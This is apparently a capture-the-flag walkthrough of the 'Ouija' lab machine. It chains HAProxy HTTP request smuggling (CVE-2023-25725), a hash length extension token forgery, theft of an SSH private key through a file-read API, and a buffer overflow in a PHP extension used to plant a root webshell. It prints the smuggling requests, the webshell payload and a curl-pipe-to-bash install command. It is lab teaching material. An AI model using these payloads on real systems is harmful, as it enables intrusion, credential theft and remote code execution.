This is an insane Ubuntu 22.04.3 machine running a web server behind a balancing Haproxy v2.2.16. This is vulnerable to HTTP request smuggling (CVE-2023-25725), which can be abused to reach a subdomain and dump the code of another .js application running on port 3000. Analyzing this code we deduce how a superuser is formed and using this information we launch a hash extension attack, that allows us to forge a superuser token. Using this token we can query the API endpoint to dump the private key of the low-privileged user and get the user flag. For escalation, we find a parameter accepting user input is vulnerable to buffer overflow. This can be exploited to generate a malicious PHP file in the host, which is fact acts as a webshell run by root.
> nmap $target -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-02 15:09 EST
Nmap scan report for 10.129.175.250
Host is up, received user-set (0.075s latency).
Not shown: 63470 closed tcp ports (conn-refused), 2062 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
3000/tcp open ppp syn-ack
Nmap done: 1 IP address (1 host up) scanned in 28.87 seconds
Enumerate the open ports.
> nmap $target -p22,80,3000 -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-02 15:11 EST
Nmap scan report for 10.129.175.250
Host is up, received user-set (0.097s latency).
Scanned at 2023-12-02 15:11:02 EST for 15s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 6ff2b4ed1a918d6ec9105171d57c49bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOF5zQd8OgxRSgutBifLJRc7jgEi2e7uNFtuctcdQmJGWQYTQ+PZQcwv5fZnF0BHotgSA8Vp58ftuLK93zuh7I8=
| 256 dfddbcdc570d98af0f882f73334862e8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICKPk/B9wRV28rwbwQHh9JYErJC2f/143AtDpUhHgTro
80/tcp open http syn-ack Apache httpd 2.4.52
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http syn-ack Node.js Express framework
|_http-favicon: Unknown favicon MD5: 03684398EBF8D6CD258D44962AE50D1D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 14.79 seconds
There is a web server running on port 80, and a subdomain running on http://dev.ouija.htb
Inspecting the source code in Firefox, we find another subdomain on http://gitea.ouija.htb
Browse the Gitea server, register a new account and log in. List the instructions on how the ouija server has been set up. It uses an Haproxy application version 2.2.16.
The Hhaproxy application is installed for traffic balancing purposes. We can abuse the HTTP CE.TE smuggling vulnerability to reach the dev.ouija.htb subdomain.
Payloads can be smuggled with Burpsuite, just deactivate the automatic update of the content length.
The following payload allows reaching the dev.ouija.htb subdomain exploiting HTTP smuggling.
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 40
GET http://dev.ouija.htb HTTP/1.1
x:Get / HTTP/1.1
Host: ouija.htb
Using the HTTP request smuggling again we dump the contents of both files. First, for the init.sh file we use the same payload, just update the content-length to match the size of the request.
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 63
GET http://dev.ouija.htb/editor.php?file/app.js HTTP/1.1
x:Get / HTTP/1.1
Host: ouija.htb
This is not useful for the moment, so we take note and dump the other app.js file. The payload is the same, just remember to update the content-length accordingly in the request.
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 63
GET http://dev.ouija.htb/editor.php?file/app.js HTTP/1.1
x:Get / HTTP/1.1
Host: ouija.htb
This file contains the source code of an application running on port 3000.
var express = require('express');
var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;
app.listen(3000, ()=>{ console.log("listening @ 3000"); });
function d(b){
s1=(Buffer.from(b, 'base64')).toString('utf-8');
s2=(Buffer.from(s1.toLowerCase(), 'hex'));
return s2;
}
function generate_cookies(identification){
var sha256=crt.createHash('sha256');
wrap = sha256.update(key);
wrap = sha256.update(identification);
hash=sha256.digest('hex');
return(hash);
}
function verify_cookies(identification, rhash){
if( ((generate_cookies(d(identification)))) === rhash){
return 0;
}else{return 1;}
}
function ensure_auth(q, r) {
if(!q.headers['ihash']) {
r.json("ihash header is missing");
}
else if (!q.headers['identification']) {
r.json("identification header is missing");
}
if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) {
r.json("Invalid Token");
}
else if (!(d(q.headers['identification']).includes("::admin:True"))) {
r.json("Insufficient Privileges");
}
}
app.get("/login", (q,r,n) => {
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname and upass are required"});
}else{
if(!q.query.uname || !q.query.upass){
r.json({"message":"uname && upass are required"});
}else{
r.json({"message":"disabled (under dev)"});
}
}
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
app.get("/users", (q,r,n) => {
ensure_auth(q, r);
r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {
ensure_auth(q, r);
if(!q.query.file){
r.json({"message":"?file= i required"});
}else{
let file = q.query.file;
if(file.startsWith("/") || file.includes('..') || file.includes("../")){
r.json({"message":"Action not allowed"});
}else{
fs.readFile(file, 'utf8', (e,d)=>{
if(e) {
r.json({"message":e});
}else{
r.json({"message":d});
}
});
}
}
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});
The app running on port 3000 runs several APIs, we just need to focus on /get/file and /users. These endpoints use token authentication which is enforced in function ensure_auth. An user authenticates sending 2 headers: ihash and identification
The identification header is formed taking an username and appending certain string, then it is base64-encoded. Finally, a SHA-256 hash is calculated on the resulting string using a secret key stored in env variable k, but we do not know this key or its length.
The ihash header is a signature hash that will be compared to the resulting identification to verify user's identity.
> git clone https://github.com/iagox86/hash_extender
> cd hash_extender
> make
Several deprecation warnings prevent making the application, but this can be solved editing the Makefile and adding -Wno-deprecated-declarations in the CFLAGS line.
We do not know the size of the secret, so we will have to brute force it. First step is to generate a file called strings containing hashes from size 1 to 47. We use the username bot1:bo from the init.sh file, and the append string is ::admin:True. The signature hash is taken also from the init.sh file. Finally, the results are base64 encoded and written to the strings file.
At this point we have the New signature field 14be2f4a24f876a07a5570cc2567e18671b15e0e005ed92f10089533c1830c0b, and the strings file containing the New string from size 1 to 47. We are ready to bruteforce the application. For this, a small bash script is proposed.
Running it we find the authentication token, and its length (note this is not the same as the secret length).
Finally, query the /file/get API on port 3000 with this token, and browse files in the application file system running on /proc/self/root to dump private key for user leila
Use this key to open an SSH sessions as leila and get the user flag.
ROOT
Start from the SSH session for user leilaand take the opportunity to enumerate the system and the user.
> whoami && id
leila
uid=1000(leila) gid=1000(leila) groups=1000(leila)
> uname -a && cat /etc/os-release
Linux ouija 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
There is something listening on port 9999.
> netstat -lnput
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN 2118/ssh
tcp6 0 0 ::1:9999 :::* LISTEN 2118/ssh
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1837/java
tcp6 0 0 127.0.0.1:36569 :::* LISTEN 1837/java
udp 0 0 0.0.0.0:44295 0.0.0.0:* -
Forward port 9999 to Kali and enumerate it with Firefox.
Enumerate the file system, the source code of this site is located in the path /development/server-management_system_id_0/index.php.
The source code contains a call to a function say_lverifier() which checks username and password client inputs.
The library is located in the path /usr/lib/php/20220829/lverifier.so. Decompile with Ghidra and inspect the say_lverifier() function, this calls another function validating_userinput() for client input sanitization.
Navigate to the function validating_userinput(). Decompiling was done with IDA and generating pseudocode (F5).
This part is vulnerable to buffer overflow. The username input is stored in a buffer nu with an allocated size of 800; however, the user input is not limited. On the other hand, size_t buffer type is used to save the size of username, which maximum value is 65535 bytes. Finally, inspect the function event_recorder. This is used to write the log after the user input validation finishes.
To fuzz the buffer overflow we need to set up a test rig running PHP and gdb (C/C++ debugger). The rig machine will be an Ubuntu 22.04.2 host with PHP 8.2.
First, install PHP.
> add-apt-repository ppa:ondrej/php
> apt update && apt install -y php8.2 php8.2-cli php8.2-{bz2,curl,mbstring,intl}
> apt install -y php8.2-fpm
> a2enconf php8.2-fpm
Enabling conf php8.2-fpm.
To activate the new configuration, you need to run:
systemctl reload apache2
> systemctl reload apache2
Verify PHP installation.
> php –v
PHP 8.2.15 (cli) (built: Jan 20 2024 14:17:05) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.2.15, Copyright (c) Zend Technologies
with Zend OPcache v8.2.15, Copyright (c), by Zend Technologies
Verify gdb is installed (should be the case by default in Ubuntu), then install gef (gdb enhancer features https://github.com/hugsy/gef).
> gdb –v
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
> bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
Once PHP is installed and running, we will load the lverifier.so file.
Run PHP under the gdb environment to debug the application.
> gdb php
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from php...
(No debugging symbols found in php)
> gef➤ run -a
Starting program: /usr/bin/php -a
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Interactive shell
Make the application crash by sending a large input in the username parameter.
The application crashes and dumps the register content.
Before restarting it, add a breakpoint in the event_recorder function, this will be useful in the next step.
b event_recorder
In order to control the registers, we need to know the offset of the payloads. For this, create a pattern size 65535 with pwntools or msf-pattern_create, then feed it to the application and let it crash.
Inspect the content of the p and w parameters of the event_recorder function.
And find their position in the pattern.
So we have found that when we feed a large input in the username parameter, it overflows and overwrites parameters p (position 16 of the input payload) and w (position 128 of the input payload) in the event_recorder function. Also, we know the user input for username is assigned to a buffer size 800.
Abusing the buffer overflow we can manipulate the event_recorder function parameters, and therefore control the output log path and its content. In fact, manipulating the last part of the log path we can also manipulate the log content.
To get a root shell we will create a directory in the victim machine whose name is actual PHP code. Then we will use the overflow to write the PHP file to the web directory, so it can be exploited from a web browser. At the end, the final written log will also contain our directory name, which is the PHP code.
First, create a directory in leila SSH shell. The directory name itself is PHP code in fact.
> mkdir "/var/tmp/<?=\`\$_GET[0]\`?>"
To generate the payload, we will use a Python interpreter.
>>> a = '/var/tmp/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/index.php'
>>> len(a)
86
>>> '/'*714 + a + 'A'*64738
'///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////var/tmp/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/index.phpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
Back in Kali, capture a login attempt in http://localhost:9999 and use repeater to insert the payload in the username parameter.
Send the payload and verify an index.php file containing the malicious PHP code has been created in the victim machine in the path /development/server-management_system_id_0/index.php
Now we can send a reverse shell using the index.php file. Let's verify first in a browser we have RCE (i.e. a webshell).
The only thing that's left is to prepare a reverse shell payload and send it with Burpsuite.
